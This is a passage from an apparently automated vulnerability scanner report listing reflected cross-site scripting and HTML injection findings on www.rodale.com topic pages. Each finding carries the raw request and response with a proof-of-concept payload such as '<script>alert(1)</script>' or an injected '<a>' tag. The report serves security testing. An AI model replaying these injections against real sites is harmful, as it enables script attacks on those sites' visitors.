This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/beverages4335e"><a>7e5c3c091a9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:49 GMT
Date: Thu, 10 Mar 2011 17:09:49 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-beverages4335e"><a>7e5c3c091a9 node node-958">
...[SNIP]...

2.322. http://www.rodale.com/topic/beverages [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/beverages

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de748"><script>alert(1)</script>970479c7ad3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/beverages?de748"><script>alert(1)</script>970479c7ad3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:01 GMT
Date: Thu, 10 Mar 2011 17:09:01 GMT
Content-Length: 29736
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/beverages?de748"><script>alert(1)</script>970479c7ad3=1" title="Register" class="moreLink">
...[SNIP]...

2.323. http://www.rodale.com/topic/bicycling [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bicycling

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fcef"><a>d354901c652 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1fcef"><a>d354901c652/bicycling HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:04 GMT
Date: Thu, 10 Mar 2011 17:09:05 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1fcef"><a>d354901c652 topic1fcef">
...[SNIP]...

2.324. http://www.rodale.com/topic/bicycling [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bicycling

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a8c1"><a>64222868cd1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/bicycling7a8c1"><a>64222868cd1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:41 GMT
Date: Thu, 10 Mar 2011 17:09:41 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-bicycling7a8c1"><a>64222868cd1 node node-958">
...[SNIP]...

2.325. http://www.rodale.com/topic/bicycling [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/bicycling

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3d25"><script>alert(1)</script>b100d0dac97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/bicycling?c3d25"><script>alert(1)</script>b100d0dac97=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:00 GMT
Date: Thu, 10 Mar 2011 17:09:00 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33693

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/bicycling?c3d25"><script>alert(1)</script>b100d0dac97=1" title="Register" class="moreLink">
...[SNIP]...

2.326. http://www.rodale.com/topic/birds [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/birds

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64309"><a>15f5e530faa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic64309"><a>15f5e530faa/birds HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:11 GMT
Date: Thu, 10 Mar 2011 17:09:11 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic64309"><a>15f5e530faa topic64309">
...[SNIP]...

2.327. http://www.rodale.com/topic/birds [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/birds

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f803"><a>589421013c7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/birds1f803"><a>589421013c7 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:47 GMT
Date: Thu, 10 Mar 2011 17:09:47 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-birds1f803"><a>589421013c7 node node-958">
...[SNIP]...

2.328. http://www.rodale.com/topic/birds [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/birds

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e14f"><script>alert(1)</script>316e029a251 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/birds?2e14f"><script>alert(1)</script>316e029a251=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:09 GMT
Date: Thu, 10 Mar 2011 17:09:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33986

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/birds?2e14f"><script>alert(1)</script>316e029a251=1" title="Register" class="moreLink">
...[SNIP]...

2.329. http://www.rodale.com/topic/blood-pressure [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/blood-pressure

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1a9a"><a>53084c6afd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf1a9a"><a>53084c6afd0/blood-pressure HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:05 GMT
Date: Thu, 10 Mar 2011 17:09:05 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf1a9a"><a>53084c6afd0 topicf1a9a">
...[SNIP]...

2.330. http://www.rodale.com/topic/blood-pressure [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/blood-pressure

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d57b5"><a>fb0be137f54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/blood-pressured57b5"><a>fb0be137f54 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:39 GMT
Date: Thu, 10 Mar 2011 17:09:39 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-blood-pressured57b5"><a>fb0be137f54 node node-958">
...[SNIP]...

2.331. http://www.rodale.com/topic/blood-pressure [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/blood-pressure

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9a5b"><script>alert(1)</script>e7272f181cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/blood-pressure?b9a5b"><script>alert(1)</script>e7272f181cb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:02 GMT
Date: Thu, 10 Mar 2011 17:09:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/blood-pressure?b9a5b"><script>alert(1)</script>e7272f181cb=1" title="Register" class="moreLink">
...[SNIP]...

2.332. http://www.rodale.com/topic/body-image [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/body-image

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d67e"><a>c9dcea1d257 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7d67e"><a>c9dcea1d257/body-image HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:08 GMT
Date: Thu, 10 Mar 2011 17:09:08 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7d67e"><a>c9dcea1d257 topic7d67e">
...[SNIP]...

2.333. http://www.rodale.com/topic/body-image [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/body-image

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 905bd"><a>a2d8ab2cc66 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/body-image905bd"><a>a2d8ab2cc66 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:52 GMT
Date: Thu, 10 Mar 2011 17:09:53 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-body-image905bd"><a>a2d8ab2cc66 node node-958">
...[SNIP]...

2.334. http://www.rodale.com/topic/body-image [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/body-image

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24064"><script>alert(1)</script>81f929183d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/body-image?24064"><script>alert(1)</script>81f929183d3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:05 GMT
Date: Thu, 10 Mar 2011 17:09:05 GMT
Content-Length: 31289
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/body-image?24064"><script>alert(1)</script>81f929183d3=1" title="Register" class="moreLink">
...[SNIP]...

2.335. http://www.rodale.com/topic/bone-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bone-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b92c3"><a>a12c535655 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicb92c3"><a>a12c535655/bone-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:35 GMT
Date: Thu, 10 Mar 2011 17:09:35 GMT
Content-Length: 22500
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicb92c3"><a>a12c535655 topicb92c3">
...[SNIP]...

2.336. http://www.rodale.com/topic/bone-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bone-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90e74"><a>20c716768f5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/bone-health90e74"><a>20c716768f5 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:14 GMT
Date: Thu, 10 Mar 2011 17:10:14 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-bone-health90e74"><a>20c716768f5 node node-958">
...[SNIP]...

2.337. http://www.rodale.com/topic/bone-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/bone-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6377c"><script>alert(1)</script>96570c3c0a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/bone-health?6377c"><script>alert(1)</script>96570c3c0a2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:32 GMT
Date: Thu, 10 Mar 2011 17:09:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/bone-health?6377c"><script>alert(1)</script>96570c3c0a2=1" title="Register" class="moreLink">
...[SNIP]...

2.338. http://www.rodale.com/topic/bpa-and-plastic [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bpa-and-plastic

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6079"><a>b1254ed8f35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicb6079"><a>b1254ed8f35/bpa-and-plastic HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:29 GMT
Date: Thu, 10 Mar 2011 17:09:29 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
